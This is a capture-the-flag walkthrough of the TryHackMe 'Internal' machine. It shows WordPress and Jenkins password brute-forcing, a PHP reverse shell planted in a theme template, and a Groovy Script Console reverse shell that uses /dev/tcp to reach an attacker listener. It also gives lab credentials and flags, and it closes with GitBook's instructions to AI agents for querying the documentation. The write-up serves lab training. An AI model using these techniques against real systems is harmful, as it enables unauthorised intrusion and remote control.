> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-internal.md). # THM - Internal This machine is part of the THM - PT1 Exam learning process

### HTTP Browsing to the http port reveals a default Apache welcome page:

### Wordpress

Powerful tool for credential enumeration and brute-forcing WordPress services called ‘wpscan.’

Found a valid username called admin. we can use this brute force the user using rockyou.txt. Syntax: `“*wpscan — url -U admin -P /usr/share/wordlists/rockyou.txt*”` Success! We have found the password for admin: “*my2boys*”

#### Wordpress Reverse Shell edit one of the existing templates to get reverse shell

We can now download the php reverse shell script from here and change the local ip address. Then you can copy the script on the 404 template which looks like below:

We can now apply the changes and set-up a local netcat listener: `“*nc- lvnp 1234*”` Browsing to the location of this 404 page should then execute the code and spawn a shell: `“* ## Shell as aubreanna

### Make the shell stable `“*python3 -c ‘import pty; pty.spawn(“/bin/bash”)’*` `*stty raw -echo; fg*` `*export TERM=xterm*”`

``` aubreanna@internal:~$ id uid=1000(aubreanna) gid=1000(aubreanna) groups=1000(aubreanna),4(adm),24(cdrom),30(dip),46(plugdev) aubreanna@internal:~$ ls -al total 56 drwx------ 7 aubreanna aubreanna 4096 Aug 3 2020 . drwxr-xr-x 3 root root 4096 Aug 3 2020 .. -rwx------ 1 aubreanna aubreanna 7 Aug 3 2020 .bash_history -rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout -rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc drwx------ 2 aubreanna aubreanna 4096 Aug 3 2020 .cache drwx------ 3 aubreanna aubreanna 4096 Aug 3 2020 .gnupg drwx------ 3 aubreanna aubreanna 4096 Aug 3 2020 .local -rwx------ 1 root root 223 Aug 3 2020 .mysql_history -rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile drwx------ 2 aubreanna aubreanna 4096 Aug 3 2020 .ssh -rwx------ 1 aubreanna aubreanna 0 Aug 3 2020 .sudo_as_admin_successful -rwx------ 1 aubreanna aubreanna 55 Aug 3 2020 jenkins.txt drwx------ 3 aubreanna aubreanna 4096 Aug 3 2020 snap -rwx------ 1 aubreanna aubreanna 21 Aug 3 2020 user.txt aubreanna@internal:~$ cat user.txt THM{int3rna1_fl4g_1} ```

o confirm that, we can simply run the ifconfig command to check the network configuration:

It appears that there is a Docker instance running on the target machine with a 172-series IP address. Consequently, Jenkins is hosted within Docker, running on port 8080. To access it, we will employ an SSH tunneling technique to forward the Jenkins IP and port from the target machine to our attacker machine’s IP and port.

To gain access to Jenkins, type localhost:\[Port Number] in your browser: ### Jenkins

ffuf -request \[file name] -request-proto http -w /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-10000.txt”

Success! Now we can log in to the Jenkins page with the valid credentials: “admin: spongebob”

### Jenkins RCE via Script Console Under ‘Manage Jenkins’ > ‘Tools and Actions,’ there is a ‘Script Console’ where we can create our script.

We can now proceed to execute the following command. However, please ensure that you start a Netcat listener before running this command. `r = Runtime.getRuntime()` `p = r.exec([“/bin/bash”,“-c”,“exec 5<>/dev/tcp/10.10.23.238/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])` `p.waitFor()`

Excellent! We have successfully received the reverse shell. As a standard practice, it is important to obtain a more stable shell once we have remote access to a target. In this case, we can use the ‘/bin/bash -i’ command to upgrade our shell to a Bash shell.\\

Now that we have a stable shell, our next objective is to escalate our privileges. As you may recall, we discovered the password for the ‘aubreanna’ user under the ‘/opt’ directory. Let’s revisit the same location and see if we can find anything interesting.

There’s a file called ‘note.txt’ that contains the information we need. ``` cd /opt pwd /opt ls -al total 12 drwxr-xr-x 1 root root 4096 Aug 3 2020 . drwxr-xr-x 1 root root 4096 Aug 3 2020 .. -rw-r--r-- 1 root root 204 Aug 3 2020 note.txt cat note.txt Aubreanna, Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you need access to the root user account. root:tr0ub13guM!@#123 ``` ## Shell as Root ``` $ ssh root@internal.thm root@internal.thm's password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64) [SNIP!] Last login: Mon Aug 3 19:59:17 2020 from 10.6.2.56 root@internal:~# cat /root/root.txt THM{d0ck3r_d3str0y3r} ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-internal.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.